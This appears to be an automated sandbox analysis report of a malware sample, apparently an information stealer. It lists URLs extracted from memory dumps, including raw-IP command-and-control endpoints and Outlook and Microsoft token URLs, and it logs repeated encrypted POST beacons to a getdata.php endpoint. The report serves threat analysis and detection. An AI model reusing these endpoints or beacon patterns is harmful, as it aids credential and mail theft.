"https://github.com/urllib3/urllib3/issues/3290n,!wteger\utiltoo" - Source: "00000000-00002168.00000000.272714.21190000.00000004.mdmp") Found URL "https://packaging.python.org/en/latest/specifications/core-metadata/" - Source: "00000000-00002168.00000000.272714.21190000.00000004.mdmp") Found URL "https://urllib3.readthedocs.io/en/latest/advanced-usage.html" - Source: "00000000-00002168.00000000.272714.21190000.00000004.mdmp") Found URL "https://packaging.python.org/specifications/entry-points/>" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "http://tools.ietf.org/html/rfc6125" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "ftp://ftp.unicode.org/.the" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "http://.../back.jpeg>;" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "https://')" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "https://'" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "http://'." - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2920p" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "http://curl.haxx.se/rfc/cookie_spec.html" - Source: "00000000-00002168.00000000.272714.212B0000.00000004.mdmp") Found URL "https://retry_https_basic_authprompt_user_passwdenter" - Source: "00000000-00002168.00000000.272714.213E0000.00000004.mdmp") Found URL "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd" - Source: "00000000-00002168.00000000.272714.213E0000.00000004.mdmp") Found URL "ftp://ftp.unicode.org/.the" - Source: "00000000-00002168.00000000.272714.4C356000.00000002.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00002168.00000001.274634.1E320000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00002168.00000001.274634.1FF80000.00000004.mdmp") Found URL "https://docs.python.org/3/howto/mro.html." - Source: "00000000-00002168.00000001.274634.1FF80000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00002168.00000001.274634.1FF80000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00002168.00000001.274634.20180000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00002168.00000001.274634.20180000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00002168.00000001.274634.20180000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00002168.00000001.274634.20180000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlc,uuuanuuuuumnaguu" - Source: "00000000-00002168.00000001.274634.20180000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00002168.00000001.274634.20180000.00000004.mdmp") Found URL "https://httpbin.org/get')" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://example.com/" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://mahler:8092/site-updates.py'," - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://ahad-haam:3128" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://www.python.org/')id" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://tools.ietf.org/html/rfc7231" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://github.com/python/cpython/issues/86361.for" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://json.org>" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\5f!wei!wei!wgi!wii!wji!wki!w0" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/getweakrefcountgetweakrefsproxycallableproxytype" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://www.python.org')" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://httpbin.org/post'," - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://requests.readthedocs.io>.:copyright:" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://docs.python.org/3/library/multiprocessing.html" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://google.com/mail/" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://username:password@host.com:80/path?query" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2513" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://tools.ietf.org/html/rfc2388" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0digicert" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0m" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://docs.python.org/3.11/library/binascii.html" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://google.com/" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://google.com/mail" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://yahoo.com/" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "https://www.rfc-editor.org/rfc/rfc8259" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://www.iana.org/assignments/tls-parameters/tls-parameters.xml" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://google.com/')" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crl0=0;0.0," - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://repository.swisssign.com/affirmtrust1affirmtrust" - Source: "00000000-00002168.00000001.274634.20760000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_br_root_ca_2_2023.crld-trust" - Source: "00000000-00002168.00000001.274634.20F03000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_2_2023.crl)4n$ssl.com" - Source: "00000000-00002168.00000001.274634.20F03000.00000004.mdmp") Found URL "https://odc.officeapps.live.com/odc/emailhrd/getidp?hm=1&emailaddress=cleanup" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://login.microsoftonline.com/consumers/oauth2/v2.0/tokenhttps://substrate.office.com/profileb2/v2.0/me/v1profilehttps://outlook.live.com/owa/service.svc?action=getusersettings" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://outlook.office365.com/api/v2.0/me/messages?$top=100&$select=from,subject,body@5f" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://account.live.com/abusestep" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://graph.microsoft.com/v1.0/mestep" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://outlook.live.comcom.microsoft.outlooklitehttps://outlook.live.com/https://outlook.live.com/owa//startupdata.ashx?app=mini&n=0step" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://login.live.comcontent-typelogin" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "http://en.wikipedia.org/wiki/triangular_distributionthe" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://proxyschemeunknown.__init__headerparsingerror.__init__message_from_binary_filebase" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://fetching" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2192" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://foss.heptapod.net/pypy/pypy/-/issues/3539hash" - Source: "00000000-00002168.00000001.274634.20F60000.00000004.mdmp") Found URL "https://urllib3.readthedocs.io/en/latest/advanced-usage.html" - Source: "00000000-00002168.00000001.274634.21080000.00000004.mdmp") Found URL "https://github.com/python/importlib_metadata/wiki/development-methodologyfor" - Source: "00000000-00002168.00000001.274634.21190000.00000004.mdmp") Found URL "https://packaging.python.org/specifications/entry-points/>" - Source: "00000000-00002168.00000001.274634.21190000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/3290n,!wteger\utiltoo" - Source: "00000000-00002168.00000001.274634.21190000.00000004.mdmp") Found URL "https://packaging.python.org/en/latest/specifications/core-metadata/" - Source: "00000000-00002168.00000001.274634.21190000.00000004.mdmp") Found URL "https://urllib3.readthedocs.io/en/latest/advanced-usage.html" - Source: "00000000-00002168.00000001.274634.21190000.00000004.mdmp") Found URL "https://retry_https_basic_authprompt_user_passwdenter" - Source: "00000000-00002168.00000001.274634.213E0000.00000004.mdmp") Found URL "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd" - Source: "00000000-00002168.00000001.274634.213E0000.00000004.mdmp") Found URL "http://%shttp://%s" - Source: "00000000-00002168.00000001.274634.3D6FB000.00000002.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00002168.00000001.274634.4C522000.00000002.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00002168.00000002.276557.1E320000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00002168.00000002.276557.1FF80000.00000004.mdmp") Found URL "https://docs.python.org/3/howto/mro.html." - Source: "00000000-00002168.00000002.276557.1FF80000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00002168.00000002.276557.1FF80000.00000004.mdmp") Found URL "https://httpbin.org/get')" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://example.com/" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://mahler:8092/site-updates.py'," - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://ahad-haam:3128" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://www.python.org/')id" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://tools.ietf.org/html/rfc7231" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://github.com/python/cpython/issues/86361.for" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://json.org>" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\5f!wei!wei!wgi!wii!wji!wki!w0" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/getweakrefcountgetweakrefsproxycallableproxytype" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://www.python.org')" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://httpbin.org/post'," - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://requests.readthedocs.io>.:copyright:" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://docs.python.org/3/library/multiprocessing.html" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://google.com/mail/" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://username:password@host.com:80/path?query" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2513" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://tools.ietf.org/html/rfc2388" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0digicert" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0m" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://docs.python.org/3.11/library/binascii.html" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://google.com/" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://google.com/mail" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://yahoo.com/" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://www.rfc-editor.org/rfc/rfc8259" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://www.iana.org/assignments/tls-parameters/tls-parameters.xml" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://google.com/')" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crl0=0;0.0," - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "http://repository.swisssign.com/affirmtrust1affirmtrust" - Source: "00000000-00002168.00000002.276557.20760000.00000004.mdmp") Found URL "https://github.com/python/importlib_metadata/wiki/development-methodologyfor" - Source: "00000000-00002168.00000002.276557.20960000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/0rk" - Source: "00000000-00002168.00000002.276557.20960000.00000004.mdmp") Found URL "https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?client_info=1&haschrome=1&login_hint=&scope=profile%20openid%20offline_access%20https%3a%2f%2foutlook.office.com%2fm365.accessc:\users\hapubws\appdata\local\temp\_mei7962\requests\__pycache__\__init__.cpython-313.pycunable" - Source: "00000000-00002168.00000002.276557.20A60000.00000004.mdmp") Found URL "https://account.live.com/identity/confirmforkawarelocal.__init__..phr" - Source: "00000000-00002168.00000002.276557.20A60000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_br_root_ca_2_2023.crld-trust" - Source: "00000000-00002168.00000002.276557.20F03000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_2_2023.crl)4n$ssl.com" - Source: "00000000-00002168.00000002.276557.20F03000.00000004.mdmp") Found URL "https://odc.officeapps.live.com/odc/emailhrd/getidp?hm=1&emailaddress=cleanup" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://login.microsoftonline.com/consumers/oauth2/v2.0/tokenhttps://substrate.office.com/profileb2/v2.0/me/v1profilehttps://outlook.live.com/owa/service.svc?action=getusersettings" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://outlook.office365.com/api/v2.0/me/messages?$top=100&$select=from,subject,body@5f" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://account.live.com/abusestep" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://graph.microsoft.com/v1.0/mestep" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://outlook.live.comcom.microsoft.outlooklitehttps://outlook.live.com/https://outlook.live.com/owa//startupdata.ashx?app=mini&n=0step" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://login.live.comcontent-typelogin" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "http://en.wikipedia.org/wiki/triangular_distributionthe" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://proxyschemeunknown.__init__headerparsingerror.__init__message_from_binary_filebase" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://fetching" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2192" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://foss.heptapod.net/pypy/pypy/-/issues/3539hash" - Source: "00000000-00002168.00000002.276557.20F60000.00000004.mdmp") Found URL "https://packaging.python.org/specifications/entry-points/>" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "http://tools.ietf.org/html/rfc6125" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "ftp://ftp.unicode.org/.the" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "http://.../back.jpeg>;" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "https://')" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "https://'" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "http://'." - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "https://github.com/urllib3/urllib3/issues/2920p" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "http://curl.haxx.se/rfc/cookie_spec.html" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "https://httpbin.org/get')" - Source: "00000000-00002168.00000002.276557.212B0000.00000004.mdmp") Found URL "https://retry_https_basic_authprompt_user_passwdenter" - Source: "00000000-00002168.00000002.276557.213E0000.00000004.mdmp") Found URL "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd" - Source: "00000000-00002168.00000002.276557.213E0000.00000004.mdmp") Found URL "https://www.openssl.org/filedescriptionopenssl" - Source: "00000000-00002168.00000002.276557.3D842000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003552.00000000.271840.68AF0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003552.00000001.271951.68AF0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004220.00000000.271036.BD500000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004220.00000001.271236.BD500000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005544.00000000.279904.02620000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\local\temp\dgjmpsvy.exe.configfile:///c:/users/hapubws/appdata/local/temp/dgjmpsvy.exec:/users/hapubws/appdata/local/temp/dgjmpsvy.exec:\users\hapubws\appdata\local\temp\dgjmpsvy.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmoniker.netportablesilverlightwindowsphone71windowsphone8.netframeworkversion=v4.0versionv4.00123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework\v4.0.30319\c:\windows\microsoft.net\framework\v4.0.30319\path2path1c:\windows\microsoft.net\framework\v4.0.30319\configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configc:\windows\microsoft.net\framework\v4.0.30319\config\machine.configmachine.config\\.\modeaccessrightssharec:\windows\microsoft.net\framework\v4.0.30319\config\machine.config\\?\config_base_unrecognized_elementsystem.security.cryptography.randomnumbergeneratorcryptonamemappingoidmapmscorlibmachine.configconfigurationcryptographysettingsc:\windows\microsoft.net\framework\v4.0.30319\config\c:\users\hapubws\appdata\roaming\microsoft\clr" - Source: "00000000-00005544.00000000.279904.04910000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005544.00000000.279904.04910000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00005544.00000000.279904.04910000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005544.00000001.280619.02620000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005692.00000000.271126.032A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005692.00000001.271313.032A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005752.00000000.271050.35B70000.00000004.mdmp") Found URL "http://196.251.107.130/cfedbcab777558b8.phphttp://196.251.107.130/cfedbcab777558b8.phplmem" - Source: "00000000-00005752.00000001.271270.35B70000.00000004.mdmp") Found URL "http://196.251.107.130createstreamonhglobalrmregisterresourcescreatedirectoryagetuserdefaultlocalenamegdipdisposeimagewinhttpreceiveresponsegetsystempowerstatuscryptbinarytostringagetenvironmentvariableawv3mcryptunprotectdatawinhttpclosehandlegetcurrentprocessidna==gdipsaveimagetostreamcreatetoolhelp32snapshotregqueryvalueexwgetvolumeinformationagettimezoneinformationgetwindowsdirectoryawinhttpquerydataavailablegetkeyboardlayoutlistcreatecompatibledcvua==1174@af77ggr6kttwbi/dbvwx2nytb/wo5djkgy/mxy6yl/2labetncavs21lu1szaznjhqo74z6jb7njxzyelpcdlp6ihv/5ass9ogqyl780u9pxt6jtpuvpobt2pmdjq==local" - Source: "00000000-00005752.00000001.271270.35B70000.00000004.mdmp") Found URL "http://196.251.107.130/cfedbcab777558b8.phplmem" - Source: "00000000-00005752.00000001.271270.35B70000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006388.00000000.271620.03030000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006388.00000001.273538.03030000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006388.00000002.275457.03030000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007116.00000000.271111.02AA0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007664.00000000.270941.17C90000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007664.00000001.271464.17C90000.00000004.mdmp") Found URL "http://62.60.226.159/geter/index.php?mozilla/5.0.exekernel32.dllwininet.dlltaskstatus.dllwinspool.drvole32.dllpsapi.dllimagehlp.dllshlwapi.dllcrypt32.dllgdiplus.dllgdi32.dllopera.dllcabinet.dllwinmm.dllssl3.dllnspr4.dllurlmon.dllwininet.dllshell32.dllwinsta.dllntdll.dllws2_32.dlluser32.dlladvapi32.dll%s" - Source: "00000000-00008156.00000000.271058.008BE000.00000002.mdmp")76:T417,Found string -C:\inetpub\wwwroot\*.*Indicator: \inetpub\wwwroot\ Found string -C:\inetpub\wwwroot\aspnet_client\*.*Indicator: \inetpub\wwwroot\ Found string -C:\inetpub\wwwroot\aspnet_client\system_web\*.*Indicator: \inetpub\wwwroot\ Found string -C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\*.*Indicator: \inetpub\wwwroot\ Found string -C:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\*.*Indicator: \inetpub\wwwroot\ Found string -??\c:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\Indicator: \inetpub\wwwroot\ Found string -??\c:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727Indicator: \inetpub\wwwroot\ Found string -??\c:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319Indicator: \inetpub\wwwroot\ Found string -??\C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\*.*Indicator: \inetpub\wwwroot\ Found string -??\c:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\Indicator: \inetpub\wwwroot\ Found string -??\C:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\*.*Indicator: \inetpub\wwwroot\77:T94c," "2dKc/WxWK6Q6BebB7GgR6kTtWbI/dBvWx2nYTB/wO5djkGy/mXy6yl/2LaBETnCaVs21lU1SZAZnJHQO74z6JB7NJxZYELPCdLp6iHV/5aSs9ogqYL780U9PXT6jTpuVPObT2pMDJQ==" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:13:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>32667264763330554F4B423356627551714745443856626D4137526F61684341777A6E4D556E477A4F5A7468335853726E337A39306B5832447677644653374D....... "POST /xvzpjyddlu/getdata.php HTTP/1.1 Host: 196.251.107.130 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 66" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:13:52 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: PHPSESSID=hocktm8j0lolmf1j10pi5pkhc2; path=/ Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache Content-Length: 39 Connection: close Content-Type: text/plain; charset=utf-8 with response body ==>73C2AE29C2B6C3B93DC38D0BC2B7C397C29BC382C28AC2BE43124DC2AFC2A208C39015C2A1C28C1C3511C2A602C29AC2A51DC399C2935E4AC29EC399C2A0....... "POST /xvzpjyddlu/getdata.php HTTP/1.1 Host: 196.251.107.130 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 82" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄ½ÒW0' è" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:14:53 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: PHPSESSID=3lklbdeckg5qeh2ltq0bo4ikme; path=/ Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/plain; charset=utf-8 with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Host: 196.251.107.130 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 82" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄ½ÒW0' è" HTTP/1.1 200 OK Date: Sun 01 Feb 2026 17:15:53 GMT Server: Apache/2.4.52 (Ubuntu) Set-Cookie: PHPSESSID=8c86iqk8m30ok4ovlsq991qmo2; path=/ Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/plain; charset=utf-8 with no response body8f:T703,"